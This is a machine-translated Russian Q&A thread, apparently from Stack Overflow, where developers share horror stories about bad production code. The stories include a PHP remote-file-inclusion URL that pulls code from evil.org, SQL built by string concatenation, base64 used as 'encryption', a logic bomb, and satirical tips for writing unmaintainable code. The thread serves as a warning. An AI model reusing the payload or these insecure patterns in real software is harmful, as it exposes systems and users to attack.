Какой самый злой код вы когда-либо видели в рабочей среде предприятия?
Какой самый злой или опасный фрагмент кода вы когда-либо видели в производственной среде компании? Я никогда не сталкивался с производственным кодом, который я бы посчитал умышленно злым и злым, поэтому мне любопытно посмотреть, что нашли другие.
Самым опасным кодом, который я когда-либо видел, была хранимая процедура на двух связанных серверах от нашего основного сервера производственной базы данных. Хранимая процедура принимает любой параметр NVARCHAR(8000) и выполняет параметр на целевом производственном сервере с помощью команды sp_executeSQL двойного прыжка. То есть команда sp_executeSQL выполнила другую команду sp_executeSQL, чтобы перейти на два связанных сервера. Да, и связанная учетная запись сервера имела права sysadmin на целевом производственном сервере.
37 ответов
Предупреждение: длинный страшный пост впереди
Я написал об одном приложении, над которым я работал раньше здесь и здесь. Проще говоря, моя компания унаследовала 130000 линий мусора из Индии. Приложение было написано на C#; это было приложение кассира, те же самые программные кассиры используют за прилавком, когда вы идете в банк. Приложение падало 40-50 раз в день, и его просто нельзя было преобразовать в рабочий код. Моя компания должна была переписать все приложение в течение 12 месяцев.
Почему это приложение злое? Потому что одного взгляда на исходный код было достаточно, чтобы свести с ума нормального человека и сумасшедшего. Извращенная логика, использованная для написания этого приложения, могла быть вдохновлена только кошмаром Лавкрафта. Уникальные функции этого приложения включены:
Из 130000 строк кода все приложение содержало 5 классов (исключая файлы форм). Все это были публичные статические классы. Один класс назывался Globals.cs, который содержал 1000-е и 1000-е и 1000-е открытых статических переменных, используемых для хранения всего состояния приложения. Эти пять классов содержали всего 20000 строк кода, а оставшийся код был встроен в формы.
Вы должны задаться вопросом, как программистам удалось написать такое большое приложение без каких-либо классов? Что они использовали для представления своих объектов данных? Оказывается, программистам удалось заново изобрести половину концепций, которые мы все узнали о ООП, просто объединив ArrayLists, HashTables и DataTables. Мы видели много этого:
- ArrayLists из хеш-таблиц
- Хеш-таблицы со строковыми ключами и значениями DataRow
- ArrayLists из DataTables
- DataRows, содержащие ArrayLists, которые содержат HashTables
- ArrayLists of DataRows
- ArrayLists из ArrayLists
- HashTables со строковыми ключами и значениями HashTable
- ArrayLists из ArrayLists из HashTables
- Любая другая комбинация ArrayLists, HashTables, DataTables вы можете придумать.
Имейте в виду, что ни одна из вышеперечисленных структур данных не является строго типизированной, поэтому вам нужно привести любой таинственный объект, который вы получили из списка, к правильному типу. Удивительно, какие сложные структуры данных в стиле Rube Goldberg вы можете создать, используя только ArrayLists, HashTables и DataTables.
Чтобы поделиться примером того, как использовать объектную модель, подробно описанную выше, рассмотрим учетные записи: оригинальный программист создал отдельную таблицу HashTable для каждого возможного свойства учетной записи: таблицу HashTable с именем hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. Ключами для всех этих хеш-таблиц была строка, разделенная "|". Возможные ключи: "123456|DDA", "24100|SVG", "100|LNS" и т. Д.
Поскольку состояние всего приложения было легко доступно из глобальных переменных, программисты сочли ненужным передавать параметры в методы. Я бы сказал, что 90% методов приняли 0 параметров. Из немногих, которые сделали, все параметры были переданы как строки для удобства, независимо от того, что представляет строка.
Свободных от побочных эффектов функций не было. Каждый метод изменял 1 или более переменных в классе Globals. Не все побочные эффекты имеют смысл; например, один из методов проверки формы имел загадочный побочный эффект при расчете перерасхода и коротких платежей по кредитам для любой учетной записи, хранящейся в Globals.lngAcctNum.
Хотя было много форм, была одна форма, которая управляла ими всеми: frmMain.cs, который содержал колоссальные 20000 строк кода. Что сделал frmMain? Все. Он просматривал счета, распечатывал квитанции, выдавал наличные деньги, все делал.
Иногда для вызова методов в frmMain нужны другие формы. Вместо того, чтобы выделять этот код из формы в отдельный класс, почему бы просто не вызвать код напрямую:
((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
Чтобы найти учетные записи, программисты сделали что-то вроде этого:
bool blnAccountExists = new frmAccounts().GetAccountInfo().blnAccountExists
Как плохо, как это уже создает невидимую форму для выполнения бизнес-логики, как, по вашему мнению, форма знала, какую учетную запись искать? Это просто: форма может получить доступ к Globals.lngAcctNum и Globals.strAcctType. (Кто не любит венгерские обозначения?)
Повторное использование кода было синонимом ctrl-c, ctrl-v. Я нашел 200-строчные методы, скопированные / вставленные в 20 форм.
В приложении была причудливая модель потоков, которую я люблю называть моделью потоков и таймеров: в каждой форме, которая порождала поток, был таймер. Каждый порожденный поток запускает таймер с задержкой 200 мс; как только таймер запустится, он проверит, установил ли поток какое-то волшебное логическое значение, а затем прервет поток. Полученное исключение ThreadAbortException было проглочено.
Можно подумать, что вы увидите этот паттерн только один раз, но я нашел его как минимум в 10 разных местах.
Говоря о потоках, ключевое слово "замок" никогда не появлялось в приложении. Потоки свободно манипулировали глобальным состоянием без блокировки.
Каждый метод в приложении содержит блок try/catch. Каждое исключение было зарегистрировано и проглочено.
Кому нужно включить перечисления при включении строк так же просто!
Некоторый гений понял, что вы можете подключить несколько элементов управления формой к одному и тому же обработчику событий. Как программист справился с этим?
private void OperationButton_Click(object sender, EventArgs e) { Button btn = (Button)sender; if (blnModeIsAddMc) { AddMcOperationKeyPress(btn); } else { string strToBeAppendedLater = string.Empty; if (btn.Name != "btnBS") { UpdateText(); } if (txtEdit.Text.Trim() != "Error") { SaveFormState(); } switch (btn.Name) { case "btnC": ResetValues(); break; case "btnCE": txtEdit.Text = "0"; break; case "btnBS": if (!blnStartedNew) { string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1); DisplayValue((EditText == string.Empty) ? "0" : EditText); } break; case "btnPercent": blnAfterOp = true; if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false); decCurrValue = decResultValue * decCurrValue / intFormatFactor; DisplayValue(GetValueString(decCurrValue)); AddToTape(GetValueString(decCurrValue), string.Empty, true, false); strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20) + strOpPressed.PadRight(3); if (arrLstTapeHist.Count == 0) { arrLstTapeHist.Add(strToBeAppendedLater); } blnEqualOccurred = false; blnStartedNew = true; } break; case "btnAdd": case "btnSubtract": case "btnMultiply": case "btnDivide": blnAfterOp = true; if (txtEdit.Text.Trim() == "Error") { btnC.PerformClick(); return; } if (blnNumPressed || blnEqualOccurred) { if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { if (Operation()) { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true); DisplayValue(GetValueString(decResultValue)); } else { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true); DisplayValue("Error"); } strOpPressed = btn.Text; blnEqualOccurred = false; blnNumPressed = false; } } else { strOpPressed = btn.Text; AddToTape(GetValueString(0), (string)btn.Text, false, false); } if (txtEdit.Text.Trim() == "Error") { AddToTape("Error", string.Empty, true, true); btnC.PerformClick(); txtEdit.Text = "Error"; } break; case "btnEqual": blnAfterOp = false; if (strOpPressed != string.Empty || strPrevOp != string.Empty) { if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { if (OperationEqual()) { DisplayValue(GetValueString(decResultValue)); } else { DisplayValue("Error"); } if (!blnEqualOccurred) { strPrevOp = strOpPressed; decHistValue = decCurrValue; blnNumPressed = false; blnEqualOccurred = true; } strOpPressed = string.Empty; } } break; case "btnSign": GetValueDecimal(txtEdit.Text, out decCurrValue); DisplayValue(GetValueString(-1 * decCurrValue)); break; } } }
Тот же гений также открыл славного троичного оператора. Вот несколько примеров кода:
frmTranHist.cs [line 812]:
strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty : chkDebits.Checked ? "D" : chkCredits.Checked ? "C" : "N";
frmTellTransHist.cs [line 961]:
if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
frmMain.TellCash.cs [line 727]:
if (Validations(parPostMode == "ADD" ? true : false))
Вот фрагмент кода, который демонстрирует типичное неправильное использование StringBuilder. Обратите внимание, как программист объединяет строку в цикле, а затем добавляет полученную строку в StringBuilder:
private string CreateGridString() { string strTemp = string.Empty; StringBuilder strBuild = new StringBuilder(); foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows) { strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' '); strTemp += " "; strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy"); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' '); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' '); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' '); strTemp += " "; strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62); strBuild.AppendLine(strTemp); } strCreateGridString = strBuild.ToString(); return strCreateGridString;//strBuild.ToString(); }
В таблицах не было никаких первичных ключей, индексов или ограничений внешнего ключа, почти все поля были типа varchar(50), и 100% полей были обнуляемыми. Интересно, что битовые поля не использовались для хранения логических данных; вместо этого использовалось поле char(1), а символы "Y" и "N" использовались для представления истинного и ложного соответственно.
Говоря о базе данных, вот типичный пример хранимой процедуры:
ALTER PROCEDURE [dbo].[Get_TransHist] ( @TellerID int = null, @CashDrawer int = null, @AcctNum bigint = null, @StartDate datetime = null, @EndDate datetime = null, @StartTranAmt decimal(18,2) = null, @EndTranAmt decimal(18,2) = null, @TranCode int = null, @TranType int = null ) AS declare @WhereCond Varchar(1000) declare @strQuery Varchar(2000) Set @WhereCond = ' ' Set @strQuery = ' ' If not @TellerID is null Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar) If not @CashDrawer is null Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar) If not @AcctNum is null Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar) If not @StartDate is null Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + '''' If not @EndDate is null Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + '''' If not @TranCode is null Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar) If not @EndTranAmt is null Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar) If not @StartTranAmt is null Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt as varchar) If not (@TranType is null or @TranType = -1) Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar) --Get the Teller Transaction Records according to the filters Set @strQuery = 'SELECT TT.TranAmt as [Transaction Amount], TT.TranCode as [Transaction Code], RTrim(LTrim(TT.TranDesc)) as [Transaction Description], TT.AcctNbr as [Account Number], TT.TranID as [Transaction Number], Convert(varchar,TT.ActivityDateTime,101) as [Activity Date], Convert(varchar,TT.EffDate,101) as [Effective Date], Convert(varchar,TT.PostDate,101) as [Post Date], Convert(varchar,TT.ActivityDateTime,108) as [Time], TT.BatchID, TT.ItemID, isnull(TT.DocumentID, 0) as DocumentID, TT.TellerName, TT.CDId, TT.ChkNbr, RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr, (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode, DispensedYN FROM TellerTrans TT WITH (NOLOCK) LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID' Exec (@strQuery)
С учетом всего сказанного, единственная самая большая проблема с этим приложением, состоящим из 130000 строк, заключается в следующем: никаких тестов модулей.
Да, я отправил эту историю в TheDailyWTF, а затем уволился с работы.
Я видел такую функцию шифрования пароля
function EncryptPassword($password)
{
return base64_encode($password);
}
В системе, принимающей платежи по кредитным картам, мы хранили полный номер кредитной карты вместе с именем, сроком действия и т. Д.
Оказывается, это незаконно, что иронично, учитывая то, что в то время мы писали программу для Министерства юстиции.
Это была процедура обработки ошибок в части коммерческого кода:
/* FIXME! */
while (TRUE)
;
Я должен был выяснить, почему "приложение продолжает блокироваться".
Сочетание всех следующих Php "Особенности" одновременно.
- Зарегистрировать глобалы
- Переменные Переменные
- Включение удаленных файлов и кода с помощью include("http:// ... ");
Действительно ужасные имена массивов / переменных (буквальный пример):
foreach( $variablesarry as $variablearry ){ include( $$variablearry ); }
(Я буквально потратил час, пытаясь понять, как это работает, прежде чем я понял, что это не одна и та же переменная)
Включите 50 файлов, каждый из которых включает 50 файлов, и все это выполняется линейно / процедурно по всем 50 файлам условным и непредсказуемым образом.
Для тех, кто не знает переменных переменных:
$x = "hello";
$$x = "world";
print $hello # "world" ;
Теперь предположим, что $x содержит значение из вашего URL (волшебство регистра глобальных переменных), поэтому нигде в вашем коде не очевидно, с какой переменной вы работаете, потому что все это определяется URL.
Теперь рассмотрим, что происходит, когда содержимое этой переменной может быть URL-адресом, указанным пользователем веб-сайта. Да, это может не иметь смысла для вас, но это создает переменную с именем этого URL, то есть:
$http://google.com
,
за исключением того, что к нему нельзя получить прямой доступ, вы должны использовать его с помощью двойной техники $ выше.
Кроме того, когда для пользователя возможно указать переменную в URL-адресе, которая указывает, какой файл включить, существуют такие неприятные приемы, как
http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php
и если эта переменная оказывается в include($include)
и 'evilcode.php' печатает свой открытый текст кода, а Php ненадлежащим образом защищен, php просто отключится, загрузит evilcode.php и выполнит его как пользователь веб-сервера.
Веб-сервер будет выдавать ему все свои разрешения и т. Д., Разрешать вызовы оболочки, загружать произвольные двоичные файлы и запускать их, и т. Д. И т. Д., Пока в конце концов вы не удивитесь, почему у вас на коробке не хватает места на диске, а в одном каталоге есть 8 ГБ пиратских фильмов итальянский дубляж, делится на IRC через бота.
Я просто благодарен, что обнаружил, что злодеяния до того, как скрипт, выполняющий атаку, решил сделать что-то действительно опасное, например, собрать чрезвычайно конфиденциальную информацию из более или менее незащищенной базы данных: |
(Я мог развлекать dailywtf каждый день в течение 6 месяцев с этой кодовой базой, я не шучу. Это просто позор, что я обнаружил dailywtf после того, как я избежал этого кода)
В основном заголовочном файле проекта от старого программиста на языке COBOL, который необъяснимым образом писал компилятор на C:
int i, j, k;
"Таким образом, вы не получите ошибку компилятора, если забудете объявить переменные цикла".
В этой статье " Как написать не поддерживаемый код" рассматриваются некоторые из самых блестящих методов, известных человеку. Некоторые из моих любимых:
Новое использование имен для ребенка
Купите копию детской книги по именам, и вы никогда не будете в растерянности по поводу имен переменных. Фред - замечательное имя, и его легко напечатать. Если вы ищете простые для ввода имен переменных, попробуйте adsf или aoeu, если вы печатаете с клавиатуры DSK.
Креативная мисс орфография
Если вы должны использовать описательные имена переменных и функций, их неправильно пишут. Путем неправильного написания некоторых имен функций и переменных и правильного написания других (например, SetPintleOpening SetPintalClosing) мы эффективно отрицаем использование методов поиска grep или IDE. Это работает удивительно хорошо. Добавьте интернациональный колорит, написав тори или тори в разных театрах / театрах.
Быть Абстрактным
При именовании функций и переменных интенсивно используйте абстрактные слова, такие как "все", "данные", "дескриптор", "вещи", "do", "рутина", "execute" и "цифры", например рутина X48, PerformDataFunction, DoIt, HandleStuff и do_args_method.
капитализация
Случайным образом используйте первую букву слога в середине слова. Например, ComputeRasterHistoGram().
Нижний регистр л выглядит как цифра 1
Используйте строчные буквы l, чтобы указать длинные константы. например, 10l более вероятно будет ошибочно принят за 101, чем 10L. Запретите любые шрифты, которые однозначно устраняют неоднозначность uvw wW gq9 2z 5s il17|! J oO08 `'";,. M nn rn {[()]}. Будьте изобретательны.
Переработайте свои переменные
Везде, где позволяют правила области видимости, повторно используйте существующие несвязанные имена переменных. Аналогично, используйте одну и ту же временную переменную для двух несвязанных целей (якобы для сохранения слотов стека). Для извергского варианта измените переменную, например, присвойте значение переменной в верхней части очень длинного метода, а затем где-то посередине измените значение переменной тонким способом, например, преобразовав его из координата от 0 до координаты от 1. Будьте уверены, чтобы не документировать это изменение в значении.
CD WRTTN WWTS с MCH TRSR
При использовании аббревиатур внутри имен переменных или методов разбивайте скуку несколькими вариантами для одного и того же слова и даже время от времени произносите ее произвольно. Это помогает победить тех ленивых задниц, которые используют текстовый поиск, чтобы понять только некоторые аспекты вашей программы. Рассматривайте варианты написания как вариант на уловке, например, смешивая Международный цвет с американским цветом и чувак-кулерз. Если вы произносите имена полностью, существует только один способ написания каждого имени. Это слишком легко запомнить программисту по обслуживанию. Поскольку существует множество способов сокращения слова с помощью сокращений, у вас может быть несколько разных переменных, которые имеют одну и ту же очевидную цель. В качестве дополнительного бонуса программист обслуживания может даже не заметить, что они являются отдельными переменными.
Неясные ссылки на фильмы
Используйте имена констант, такие как LancelotsFavouriteColour вместо синего, и присвойте ему шестнадцатеричное значение $0204FB. Цвет на экране выглядит идентично чисто синему, и программисту по техническому обслуживанию пришлось бы работать с 0204FB (или использовать какой-либо графический инструмент), чтобы узнать, как он выглядит. Только тот, кто близко знаком с Монти Пайтоном и Святым Граалем, знает, что любимый цвет Ланселота - синий. Если программист по техническому обслуживанию не может цитировать целые фильмы Монти Пайтона из памяти, он или она не имеет никакого смысла быть программистом.
Документ очевидное
Перечень код с комментариями, такими как /* add 1 to i */, однако, никогда не документируйте шерстяные вещи, такие как общая цель пакета или метода.
Документ как не почему
Документируйте только детали того, что делает программа, а не то, что она пытается выполнить. Таким образом, в случае ошибки исправитель не будет знать, что должен делать код.
Побочные эффекты
В C функции должны быть идемпотентными (без побочных эффектов). Я надеюсь, что подсказка будет достаточной.
Используйте Octal
Вписать восьмеричные литералы в список десятичных чисел, например так:
array = new int []
{
111,
120,
013,
121,
};
Расширенный ASCII
Расширенные символы ASCII отлично подходят для имен переменных, включая символы ß, Ð и ñ. Их практически невозможно набрать без копирования / вставки в простом текстовом редакторе.
Имена с других языков
Используйте словари иностранных языков в качестве источника для имен переменных. Например, используйте немецкий пункт для точки. Специалисты по техобслуживанию, без вашего твердого понимания немецкого языка, получат многокультурный опыт расшифровки значения.
Имена из математики
Выберите имена переменных, которые маскируются под математические операторы, например:
openParen = (slash + asterix) / equals;
Кодекс, который маскируется под комментарии и наоборот
Включите разделы кода, которые закомментированы, но на первый взгляд не кажутся.
for(j=0; j<array_len; j+ =8)
{
total += array[j+0 ];
total += array[j+1 ];
total += array[j+2 ]; /* Main body of
total += array[j+3]; * loop is unrolled
total += array[j+4]; * for greater speed.
total += array[j+5]; */
total += array[j+6 ];
total += array[j+7 ];
}
Без цветовой маркировки вы заметите, что три строки кода закомментированы?
Произвольные имена, которые маскируются под ключевые слова
При документировании и вам нужно произвольное имя для представления имени файла используйте "файл". Никогда не используйте явно произвольное имя, такое как "Charlie.dat" или "Frodo.txt". В общем, в ваших примерах используйте произвольные имена, которые звучат как зарезервированные ключевые слова, насколько это возможно. Например, хорошими именами для параметров или переменных будут "банк", "пробел", "класс", "констант", "константа", "ввод", "ключ", "ключевое слово", "вид", "выход", "параметр", "параметр", "система", "тип", "значение", "переменная" и "переменная". Если вы используете зарезервированные слова для произвольных имен, которые будут отклонены вашим командным процессором или компилятором, тем лучше. Если вы сделаете это хорошо, пользователи будут безнадежно запутаны между зарезервированными ключевыми словами и произвольными именами в вашем примере, но вы можете выглядеть невинно, утверждая, что сделали это, чтобы помочь им связать соответствующую цель с каждой переменной.
Кодовые имена не должны совпадать с именами экранов
Выберите имена переменных, чтобы они не имели абсолютно никакого отношения к меткам, используемым при отображении таких переменных на экране. Например, на экране обозначьте поле "Почтовый индекс", но в коде вызовите связанную переменную "zip".
Выбор лучшего оператора перегрузки
В C++ перегрузка +,-,*,/ делает вещи, совершенно не связанные с сложением, вычитанием и т. Д. В конце концов, если Stroustroup может использовать оператор сдвига для выполнения операций ввода-вывода, почему вы не должны быть одинаково креативными? Если вы перегружаете +, убедитесь, что вы делаете это так, чтобы i = i + 5; имеет совершенно другое значение, чем i += 5; Вот пример возведения запутывания оператора перегрузки в высокое искусство. Перегрузите '!' оператор для класса, но перегрузка не имеет ничего общего с инвертированием или отрицанием. Заставьте его вернуть целое число. Затем, чтобы получить логическое значение, вы должны использовать '!!". Однако это инвертирует логику, поэтому [барабанная дробь] вы должны использовать '!!!". Не путай! оператор, который возвращает логическое значение 0 или 1, с ~ побитовым оператором логического отрицания.
Исключения
Я собираюсь рассказать вам о малоизвестном секрете кодирования. Исключение составляют боли в спине. Правильно написанный код никогда не дает ошибок, поэтому исключения на самом деле не нужны. Не трать время на них. Исключения из подклассов предназначены для некомпетентных, которые знают, что их код потерпит неудачу Вы можете значительно упростить вашу программу, имея всего одну попытку / перехват во всем приложении (в основном), которое вызывает System.exit(). Просто вставьте совершенно стандартный набор бросков в каждый заголовок метода, независимо от того, могут ли они генерировать какие-либо исключения или нет.
Места магической матрицы
Используйте специальные значения в определенных местах матрицы в качестве флагов. Хорошим выбором является элемент [3][0] в матрице преобразования, используемой с однородной системой координат.
Слоты Magic Array пересмотрены
Если вам нужно несколько переменных данного типа, просто определите их массив, а затем получите доступ к ним по номеру. Выберите соглашение о нумерации, которое знают только вы, и не документируйте его. И не надо определять #define константы для индексов. Все должны просто знать, что виджет глобальной переменной [15] является кнопкой отмены. Это всего лишь современный вариант использования абсолютных числовых адресов в коде ассемблера.
Никогда не украшать
Никогда не используйте автоматический источник исходного кода (beautifier), чтобы сохранить ваш код выровненным. Лобби, чтобы они запретили их в вашей компании на том основании, что они создают ложные дельты в PVCS/CVS (отслеживание контроля версий) или что у каждого программиста должен быть свой собственный стиль отступов, который всегда был священным для любого написанного им модуля. Настаивайте на том, чтобы другие программисты соблюдали эти своеобразные соглашения в "своих" модулях. Запретить beautifiers довольно просто, хотя они экономят миллионы нажатий клавиш, выполняя ручное выравнивание, и потратили дни на неправильную интерпретацию плохо выровненного кода. Просто настаивайте, чтобы все использовали один и тот же формат, не только для хранения в общем хранилище, но и во время редактирования. Это запускает RWAR, и босс, чтобы сохранить мир, запретит автоматическую уборку. Без автоматической очистки вы теперь можете случайно смещать код, чтобы создать иллюзию, что тела циклов и ifs длиннее или короче, чем они есть на самом деле, или что предложения else соответствуют другому, если они на самом деле не соответствуют. например
if(a)
if(b) x=y;
else x=z;
Тестирование для трусов
Отважный кодер обойдет этот шаг. Слишком много программистов боятся своего босса, боятся потерять работу, боятся ненависти клиентов и боятся, что им предъявят иск. Этот страх парализует действие и снижает производительность. Исследования показали, что устранение фазы тестирования означает, что менеджеры могут заранее заблаговременно установить даты отгрузки, что является очевидной помощью в процессе планирования. С исчезновением страха инновации и эксперименты могут расцвести. Роль программиста заключается в создании кода, а отладка может быть выполнена совместными усилиями со стороны службы поддержки и устаревшей группы обслуживания.
Если мы полностью уверены в наших возможностях кодирования, тогда тестирование будет ненужным. Если мы посмотрим на это логически, то любой дурак может признать, что тестирование даже не пытается решить техническую проблему, скорее это проблема эмоциональной уверенности. Более эффективное решение этой проблемы отсутствия доверия состоит в том, чтобы полностью отказаться от тестирования и отправить наших программистов на курсы самооценки. В конце концов, если мы решим проводить тестирование, то мы должны тестировать каждое изменение программы, но нам нужно всего лишь отправить программистов на один курс по построению самооценки. Экономическая эффективность так же удивительна, как и очевидна.
Поменять местами обычную правдивую ложную конвенцию
Поменяйте местами обычные определения истинного и ложного. Звучит очень очевидно, но прекрасно работает. Вы можете скрыть:
#define TRUE 0
#define FALSE 1
где-то глубоко в коде, так что он извлекается из недр программы из какого-то файла, на который никто больше не смотрит. Затем вынудите программу сделать сравнения, такие как:
if ( var == TRUE )
if ( var != FALSE )
кто-то обязан "исправить" кажущуюся избыточность и использовать var в другом месте обычным способом:
if ( var )
Другой метод состоит в том, чтобы значения TRUE и FALSE имели одинаковое значение, хотя большинство будет считать это обманом. Использование значений 1 и 2 или -1 и 0 - более тонкий способ запутать людей и при этом выглядеть достойно. Вы можете использовать эту же технику в Java, определив статическую константу с именем TRUE. Программисты могут быть более подозрительными, потому что у вас ничего хорошего нет, поскольку в Java есть встроенный литерал true.
Эксплуатировать шизофрению
Ява шизофренична в отношении объявлений массивов. Вы можете сделать их старым C, способом String x[], (который использует смешанную нотацию перед постфиксом) или новым способом String[] x, который использует запись чистого префикса. Если вы хотите действительно запутать людей, смешайте notationse.g.
byte[ ] rowvector, colvector , matrix[ ];
что эквивалентно:
byte[ ] rowvector;
byte[ ] colvector;
byte[ ][] matrix;
Я не знаю, назову ли я код "злом", но у нас был разработчик, который бы создал Object[]
массивы вместо написания классов. Везде.
Я видел (и опубликовал в thedailywtf) код, который даст каждому право иметь права администратора в значительной части приложения по вторникам. Я предполагаю, что оригинальный разработчик забыл удалить код после тестирования локальной машины.
Я не знаю, является ли это "злом" настолько, насколько ошибочно (я недавно опубликовал это в "Старом Новом"):
Я знал одного парня, который любил хранить информацию в виде строк с разделителями. Он был знаком с концепцией массивов, как показано, когда он использовал массивы строк с разделителями, но лампочка так и не загорелась.
Кодировка Base 36 для хранения целых в строках.
Я полагаю, что теория идет вразрез с:
- Шестнадцатеричный используется для представления чисел
- Шестнадцатеричный не использует буквы за пределами F, что означает, что GZ тратятся впустую
- Отходы это плохо
В данный момент я работаю с базой данных, в которой хранятся дни недели, в которые может происходить событие, в виде 7-разрядного битового поля (0-127), хранящегося в базе данных в виде 2-символьной строки в диапазоне от "0". до 3J.
Я помню, как видел обработчик входа в систему, который принимал пост-запрос и перенаправлялся в GET с именем пользователя и паролем, передаваемыми в качестве параметров. Это было для медицинской системы "корпоративного класса".
Я заметил это во время проверки некоторых журналов - мне очень хотелось послать генеральному директору его пароль.
Действительно злым был этот кусок блестящего кода Delphi:
type
TMyClass = class
private
FField : Integer;
public
procedure DoSomething;
end;
var
myclass : TMyClass;
procedure TMyClass.DoSomething;
begin
myclass.FField := xxx; //
end;
Это прекрасно работало, если был только один экземпляр класса. Но, к сожалению, мне пришлось использовать другой экземпляр, и это породило много интересных ошибок.
Когда я нашел этот драгоценный камень, я не могу вспомнить, упал ли я в обморок или закричал, вероятно, оба.
Может быть, не зло, но, конечно, скорее... ошибочно.
Однажды мне пришлось переписать "синтаксический анализатор естественного языка", который был реализован в виде одной строки 5000, если... то.
как в...
if (text == "hello" || text == "hi")
response = "hello";
else if (text == "goodbye")
response = "bye";
else
...
Я видел код на сайте ASP.NET MVC от парня, который раньше делал только веб-формы (и является известным копировщиком!), Который прикрепил событие клика на стороне клиента на <a>
тег, который вызвал метод javascript, который сделал document.location.
Я пытался объяснить, что href
на <a>
тег будет делать то же самое!
Немного зла... кто-то из моих знакомых вписал в основное внутреннее веб-приложение компании ежедневную проверку того, вошел ли он в систему за последние 10 дней. Если нет никаких записей о его входе в систему, это отключает приложение для всех в компании.
Он написал статью, как только услышал слухи об увольнениях, и если он уйдет, компания должна будет пострадать.
Единственная причина, по которой я знал об этом, это то, что он взял двухнедельный отпуск, и я позвонил ему, когда сайт вышел из строя. Он сказал мне, чтобы войти с его именем пользователя / паролем... и все снова было хорошо.
Конечно.. через месяц мы все были уволены.
Мой коллега любит вспоминать это приложение ASP.NET, которое использовало public static
подключение к базе данных для всей работы базы данных.
Да, одно соединение для всех запросов. И нет, блокировки не было сделано.
Я помню необходимость настроить IIS 3 для запуска сценариев Perl CGI (да, это было давно). Официальной рекомендацией в то время было поместить Perl.exe в cgi-bin. Это сработало, но также дало всем доступ к довольно мощному скриптовому движку!
SQL-запросы прямо в JavaScript в приложении ASP. Не может стать грязнее...
У нас было приложение, которое загружало все его глобальное состояние в XML-файл. Нет проблем с этим, за исключением того, что разработчик создал новую форму рекурсии.
<settings>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
Затем начинается самое интересное. Когда приложение загружается, оно просматривает список свойств и добавляет их в глобальный (плоский) список вместе с увеличением счетчика тайн. Тайный счетчик назван чем-то совершенно неуместным и используется в тайных вычислениях:
List properties = new List();
Node<-root
while node.hasNode("property")
add to properties list
my_global_variable++;
if hasNode("property")
node=getNode("property"), ... etc etc
И тогда вы получите такие функции, как
calculateSumOfCombinations(int x, int y){
return x+y+my_global_variable;
}
редактировать: уточнение - Мне потребовалось много времени, чтобы понять, что он подсчитывает глубину рекурсии, потому что на 6 или 7 уровне свойства меняли смысл, поэтому он использовал счетчик, чтобы разделить свой плоский набор на 2 набора разных типов. вроде как наличие списка STATE, STATE, STATE, CITY, CITY, CITY и CIT, чтобы проверить, если индекс> счетчик, чтобы увидеть, является ли ваше имя городом или штатом)
Вместо написания службы Windows для серверного процесса, который должен был постоянно выполняться, один из наших "архитекторов" написал консольное приложение и использовал планировщик задач для его запуска каждые 60 секунд.
Имейте в виду, что это в.NET, где услуги очень легко создавать.
-
Кроме того, в том же месте консольное приложение использовалось для размещения службы удаленного взаимодействия.NET, поэтому им приходилось запускать консольное приложение и блокировать сеанс, чтобы он работал каждый раз при перезагрузке сервера.
-
В последнем месте, где я работал, у одного из архитекторов был один файл исходного кода C# с более чем 100 классами, размером примерно 250 КБ.
Мне дали набор программ для продвижения, пока коллеги находились за границей у клиента (установка указанных программ). В каждой программе была одна ключевая библиотека, и, пытаясь выяснить код, я понял, что между программами есть небольшие отличия. В общей библиотеке.
Поняв это, я запустил сравнение текста всех копий. Я думаю, что из 16 уникальных было около 9. Я немного расстроился.
Босс вмешался и попросил коллег сопоставить версию, которая была бы универсальной. Они отправили код по электронной почте. Мне неизвестно, там были строки с непечатными символами и несколько смешанных кодировок. Письмо исказило это довольно плохо.
